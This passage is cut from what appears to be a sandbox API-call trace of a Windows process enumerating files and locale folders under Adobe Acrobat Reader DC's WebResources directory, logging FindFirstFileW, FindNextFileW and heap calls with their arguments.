ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0357be9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0277.168] FindNextFileW (in: hFindFile=0x33158b0, lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0357be9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0357be9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0357be9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x462, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0277.168] FindNextFileW (in: hFindFile=0x33158b0, lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0357be9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0357be9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0357be9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x462, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0277.168] FindClose (in: hFindFile=0x33158b0 | out: hFindFile=0x33158b0) returned 1 [0277.168] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4290fc0 | out: hHeap=0x670000) returned 1 [0277.168] FindNextFileW (in: hFindFile=0x3315cb0, lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf02e54fa, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02e54fa, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0357be9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-tw", cAlternateFileName="")) returned 0 [0277.168] FindClose (in: hFindFile=0x3315cb0 | out: hFindFile=0x3315cb0) returned 1 [0277.168] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4245db8 | out: hHeap=0x670000) returned 1 [0277.168] FindNextFileW (in: hFindFile=0x3315770, lpFindFileData=0x2e8e1a4 | out: lpFindFileData=0x2e8e1a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x399, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="plugin.js", cAlternateFileName="")) returned 1 [0277.168] FindNextFileW (in: hFindFile=0x3315770, lpFindFileData=0x2e8e1a4 | out: lpFindFileData=0x2e8e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="plugins", cAlternateFileName="")) returned 1 [0277.168] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4290fc0 [0277.168] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\plugins\\*", lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33158f0 [0277.169] FindNextFileW (in: hFindFile=0x33158f0, lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0277.169] FindNextFileW (in: hFindFile=0x33158f0, lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03ca2d4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="rhp", cAlternateFileName="")) returned 1 [0277.169] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x42b0fd0 [0277.169] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\plugins\\rhp\\*", lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03ca2d4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x33157b0 [0277.169] FindNextFileW (in: hFindFile=0x33157b0, lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03ca2d4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0277.169] FindNextFileW (in: hFindFile=0x33157b0, lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf03ca2d4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03ca2d4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03ca2d4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0xdde, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="combinepdf-selector.js", cAlternateFileName="COMBIN~1.JS")) returned 1 [0277.169] FindNextFileW (in: hFindFile=0x33157b0, lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf03ca2d4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03ca2d4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03ca2d4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x2616, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="combinepdf-tool-view.js", cAlternateFileName="COMBIN~2.JS")) returned 1 [0277.169] FindNextFileW (in: hFindFile=0x33157b0, lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf03ca2d4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03ca2d4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03ca2d4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x2616, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="combinepdf-tool-view.js", cAlternateFileName="COMBIN~2.JS")) returned 0 [0277.170] FindClose (in: hFindFile=0x33157b0 | out: hFindFile=0x33157b0) returned 1 [0277.170] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42b0fd0 | out: hHeap=0x670000) returned 1 [0277.170] FindNextFileW (in: hFindFile=0x33158f0, lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03ca2d4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="rhp", cAlternateFileName="")) returned 0 [0277.170] FindClose (in: hFindFile=0x33158f0 | out: hFindFile=0x33158f0) returned 1 [0277.170] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4290fc0 | out: hHeap=0x670000) returned 1 [0277.170] FindNextFileW (in: hFindFile=0x3315770, lpFindFileData=0x2e8e1a4 | out: lpFindFileData=0x2e8e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="plugins", cAlternateFileName="")) returned 0 [0277.170] FindClose (in: hFindFile=0x3315770 | out: hFindFile=0x3315770) returned 1 [0277.170] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4235db0 | out: hHeap=0x670000) returned 1 [0277.170] FindNextFileW (in: hFindFile=0x3315730, lpFindFileData=0x2e8e420 | out: lpFindFileData=0x2e8e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf02bf3c0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02bf3c0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 0 [0277.170] FindClose (in: hFindFile=0x3315730 | out: hFindFile=0x3315730) returned 1 [0277.170] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x5060050 | out: hHeap=0x670000) returned 1 [0277.198] FindNextFileW (in: hFindFile=0x3315870, lpFindFileData=0x2e8e69c | out: lpFindFileData=0x2e8e69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="createpdfupsell-app", cAlternateFileName="CREATE~1")) returned 1 [0277.200] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4290fc0 | out: hHeap=0x670000) returned 1 [0277.200] FindNextFileW (in: hFindFile=0x33156b0, lpFindFileData=0x2e8e420 | out: lpFindFileData=0x2e8e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="images", cAlternateFileName="")) returned 1 [0277.203] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42b0fd0 | out: hHeap=0x670000) returned 1 [0277.203] FindNextFileW (in: hFindFile=0x3315c70, lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dark", cAlternateFileName="")) returned 0 [0277.203] FindClose (in: hFindFile=0x3315c70 | out: hFindFile=0x3315c70) returned 1 [0277.204] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42a0fc8 | out: hHeap=0x670000) returned 1 [0277.204] FindNextFileW (in: hFindFile=0x33156f0, lpFindFileData=0x2e8e1a4 | out: lpFindFileData=0x2e8e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="themes", cAlternateFileName="")) returned 0 [0277.204] FindClose (in: hFindFile=0x33156f0 | out: hFindFile=0x33156f0) returned 1 [0277.204] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4290fc0 | out: hHeap=0x670000) returned 1 [0277.204] FindNextFileW (in: hFindFile=0x33156b0, lpFindFileData=0x2e8e420 | out: lpFindFileData=0x2e8e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 1 [0277.204] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42b0fd0 | out: hHeap=0x670000) returned 1 [0277.204] FindNextFileW (in: hFindFile=0x3315ab0, lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ca-es", cAlternateFileName="")) returned 1 [0277.204] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42b0fd0 | out: hHeap=0x670000) returned 1 [0277.204] FindNextFileW (in: hFindFile=0x3315ab0, lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs-cz", cAlternateFileName="")) returned 1 [0277.204] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42b0fd0 | out: hHeap=0x670000) returned 1 [0277.204] FindNextFileW (in: hFindFile=0x3315ab0, lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da-dk", cAlternateFileName="")) returned 1 [0277.205] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42b0fd0 | out: hHeap=0x670000) returned 1 [0277.205] FindNextFileW (in: hFindFile=0x3315ab0, lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8d1876, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8d1876, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-de", cAlternateFileName="")) returned 1 [0277.205] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42b0fd0 | out: hHeap=0x670000) returned 1 [0277.205] FindNextFileW (in: hFindFile=0x3315ab0, lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8d1876, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8d1876, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-ae", cAlternateFileName="")) returned 1 [0277.205] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42b0fd0 | out: hHeap=0x670000) returned 1 [0277.205] FindNextFileW (in: hFindFile=0x3315ab0, lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8d1876, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8d1876, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-gb", cAlternateFileName="")) returned 1 [0277.205] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42b0fd0 | out: hHeap=0x670000) returned 1 [0277.205] FindNextFileW (in: hFindFile=0x3315ab0, lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-il", cAlternateFileName="")) returned 1 [0277.205] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42b0fd0 | out: hHeap=0x670000) returned 1 [0277.205] FindNextFileW (in: hFindFile=0x3315ab0, lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-es", cAlternateFileName="")) returned 1 [0277.206] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42b0fd0 | out: hHeap=0x670000) returned 1 [0277.206] FindNextFileW (in: hFindFile=0x3315ab0, lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="eu-es", cAlternateFileName="")) returned 1 [0277.206] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42b0fd0 | out: hHeap=0x670000) returned 1 [0277.206] FindNextFileW (in: hFindFile=0x3315ab0, lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-fi", cAlternateFileName="")) returned 1 [0277.206] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42b0fd0 | out: hHeap=0x670000) returned 1 [0277.206] FindNextFileW (in: hFindFile=0x3315ab0, lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8d1876, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8d1876, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-fr", cAlternateFileName="")) returned 1 [0277.206] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42b0fd0 | out: hHeap=0x670000) returned 1 [0277.206] FindNextFileW (in: hFindFile=0x3315ab0, lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-ma", cAlternateFileName="")) returned 1 [0277.207] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42b0fd0 | out: hHeap=0x670000) returned 1 [0277.207] FindNextFileW (in: hFindFile=0x3315ab0, lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="he-il", cAlternateFileName="")) returned 1 [0277.207] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42b0fd0 | out: hHeap=0x670000) returned 1 [0277.207] FindNextFileW (in: hFindFile=0x3315ab0, lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hr-hr", cAlternateFileName="")) returned 1 [0277.207] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42b0fd0 | out: hHeap=0x670000) returned 1 [0277.207] FindNextFileW (in: hFindFile=0x3315ab0, lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu-hu", cAlternateFileName="")) returned 1 [0277.207] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42b0fd0 | out: hHeap=0x670000) returned 1 [0277.207] FindNextFileW (in: hFindFile=0x3315ab0, lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it-it", cAlternateFileName="")) returned 1 [0277.207] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42b0fd0 | out: hHeap=0x670000) returned 1 [0277.207] FindNextFileW (in: hFindFile=0x3315ab0, lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-jp", cAlternateFileName="")) returned 1 [0277.208] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42b0fd0 | out: hHeap=0x670000) returned 1 [0277.208] FindNextFileW (in: hFindFile=0x3315ab0, lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8d1876, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8d1876, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, 